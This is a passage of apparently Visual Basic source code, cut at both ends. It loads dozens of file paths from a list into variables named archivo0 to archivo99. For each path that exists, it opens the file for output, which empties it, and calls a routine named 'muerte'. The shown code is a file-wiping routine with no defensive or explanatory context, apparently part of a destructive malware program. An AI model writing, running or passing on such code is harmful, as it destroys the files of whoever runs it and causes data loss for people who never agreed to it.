archivo42 = a.readline
archivo43 = a.readline
archivo44 = a.readline
archivo45 = a.readline
archivo46 = a.readline
archivo47 = a.readline
archivo48 = a.readline
archivo49 = a.readline
archivo50 = a.readline
archivo51 = a.readline
archivo52 = a.readline
archivo53 = a.readline
archivo54 = a.readline
archivo55 = a.readline
archivo56 = a.readline
archivo57 = a.readline
archivo58 = a.readline
archivo59 = a.readline
archivo60 = a.readline
archivo61 = a.readline
archivo62 = a.readline
archivo63 = a.readline
archivo64 = a.readline
archivo65 = a.readline
archivo66 = a.readline
archivo67 = a.readline
archivo68 = a.readline
archivo69 = a.readline
archivo70 = a.readline
archivo71 = a.readline
archivo72 = a.readline
archivo73 = a.readline
archivo74 = a.readline
archivo75 = a.readline
archivo76 = a.readline
archivo77 = a.readline
archivo78 = a.readline
archivo79 = a.readline
archivo80 = a.readline
archivo81 = a.readline
archivo82 = a.readline
archivo83 = a.readline
archivo84 = a.readline
archivo85 = a.readline
archivo86 = a.readline
archivo87 = a.readline
archivo88 = a.readline
archivo89 = a.readline
archivo90 = a.readline
archivo91 = a.readline
archivo92 = a.readline
archivo93 = a.readline
archivo94 = a.readline
archivo95 = a.readline
archivo96 = a.readline
archivo97 = a.readline
archivo98 = a.readline
archivo99 = a.readline

a.Close

If fso.FileExists(archivo0) Then
Open archivo0 For Output As #1
Call muerte
End If
If fso.FileExists(archivo1) Then
Open archivo1 For Output As #1
Call muerte
End If
If fso.FileExists(archivo2) Then
Open archivo2 For Output As #1
Call muerte
End If
If fso.FileExists(archivo3) Then
Open archivo3 For Output As #1
Call muerte
End If
If fso.FileExists(archivo4) Then
Open archivo4 For Output As #1
Call muerte
End If
If fso.FileExists(archivo5) Then
Open archivo5 For Output As #1
Call muerte
End If
If fso.FileExists(archivo6) Then
Open archivo6 For Output As #1
Call muerte
End If
If fso.FileExists(archivo7) Then
Open archivo7 For Output As #1
Call muerte
End If
If fso.FileExists(archivo8) Then
Open archivo8 For Output As #1
Call muerte
End If
If fso.FileExists(archivo9) Then
Open archivo9 For Output As #1
Call muerte
End If

If fso.FileExists(archivo10) Then
Open archivo10 For Output As #1
Call muerte
End If
If fso.FileExists(archivo11) Then
Open archivo11 For Output As #1
Call muerte
End If
If fso.FileExists(archivo12) Then
Open archivo12 For Output As #1
Call muerte
End If
If fso.FileExists(archivo13) Then
Open archivo13 For Output As #1
Call muerte
End If
If fso.FileExists(archivo14) Then
Open archivo14 For Output As #1
Call muerte
End If
If fso.FileExists(archivo15) Then
Open archivo15 For Output As #1
Call muerte
End If
If fso.FileExists(archivo16) Then
Open archivo16 For Output As #1
Call muerte
End If
If fso.FileExists(archivo17) Then
Open archivo17 For Output As #1
Call muerte
End If
If fso.FileExists(archivo18) Then
Open archivo18 For Output As #1
Call muerte
End If
If fso.FileExists(archivo19) Then
Open archivo19 For Output As #1
Call muerte
End If

If fso.FileExists(archivo20) Then
Open archivo20 For Output As #1
Call muerte
End If
If fso.FileExists(archivo21) Then
Open archivo21 For Output As #1
Call muerte
End If
If fso.FileExists(archivo22) Then
Open archivo22 For Output As #1
Cal